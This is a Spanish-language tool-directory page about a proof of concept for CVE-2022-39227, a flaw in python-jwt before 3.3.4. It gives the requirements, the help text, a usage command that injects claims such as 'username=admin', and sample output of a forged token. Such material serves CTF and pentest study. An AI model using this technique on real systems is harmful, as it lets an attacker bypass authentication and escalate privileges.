Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-39227 — CVE-2022-39227 : Prueba de concepto | Kitploit
Herramientas/GitHubGitHub/user0x1337/cve-2022-39227
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónSeguridad WebCTFAutenticación
GitHubuser0x1337/cve-2022-39227

CVE-2022-39227

CVE-2022-39227 : Prueba de concepto

Ver Repositorio
22112hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-39227

CVE-2022-39227 : Prueba de concepto

Prueba de concepto para el CVE-2022-39227. Según este CVE, hay una falla en la verificación de JSON Web Token. Es posible, con un token válido, reutilizar su firma con claims modificados.

Requisitos:

  1. Un JSON Web Token válido.
  2. El backend debe usar la librería de Python "python-jwt" en la versión < 3.3.4

Para facilitar su uso, escribí un PoC simple durante un CTF:

usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM

Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4

options:
  -h, --help            show this help message and exit
  -j TOKEN, --jwt_token TOKEN
                        Original and valid JWT Token returned by the application
  -i CLAIM, --injected_claim CLAIM
                        Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
                        (e.g. username=admin,id=3)

Uso:

python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"

Devuelve:

{"  <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}

El valor devuelto es una combinación de JSON y representación compacta. Debes pegar el valor completo, incluidos "{" y "}", como tu nuevo JSON Web Token.

Descargar herramienta